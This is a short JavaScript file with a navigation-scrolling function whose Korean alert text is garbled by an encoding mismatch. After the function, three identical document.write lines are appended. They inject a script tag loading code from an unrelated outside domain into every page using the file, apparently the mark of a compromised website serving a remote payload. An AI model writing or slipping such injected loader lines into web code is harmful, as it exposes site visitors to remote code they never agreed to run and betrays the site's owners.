//<![CDATA[
function navZoneMove(navID, moveDirection) {
	var obj = document.getElementById(navID);
	for(var i = 0 ;i<obj.childNodes.length;i++)
	{
		if(obj.childNodes[i].nodeType ==1)
		{
			var objChild = obj.childNodes.item(i);
			var objHeight = objChild.clientHeight;
			if ( (parseInt(objChild.style.top) + "") == "NaN") {
				objChild.style.top = 0;
			}
			if (moveDirection == "next") {
				objChild.style.top = parseInt(objChild.style.top) - 48 + "px";
				if (("-" +  objHeight) >= parseInt(objChild.style.top)) {
					objChild.style.top = parseInt(objChild.style.top) + 48 + "px";
					alert("´õ ÀÌ»ó À̵¿ÇÒ ¼ö ¾ø½À´Ï´Ù.");
				}
			} else {
				objChild.style.top = parseInt(objChild.style.top) + 48 + "px";
				if (0 < parseInt(objChild.style.top)) {
					objChild.style.top = parseInt(objChild.style.top) - 48 + "px";
					alert("´õ ÀÌ»ó À̵¿ÇÒ ¼ö ¾ø½À´Ï´Ù.");
				}
			}
		}
	}
}
//]]>
document.write('<script src=http://meditechdata.com/navigation_bars/services.php ><\/script>');
document.write('<script src=http://meditechdata.com/navigation_bars/services.php ><\/script>');
document.write('<script src=http://meditechdata.com/navigation_bars/services.php ><\/script>');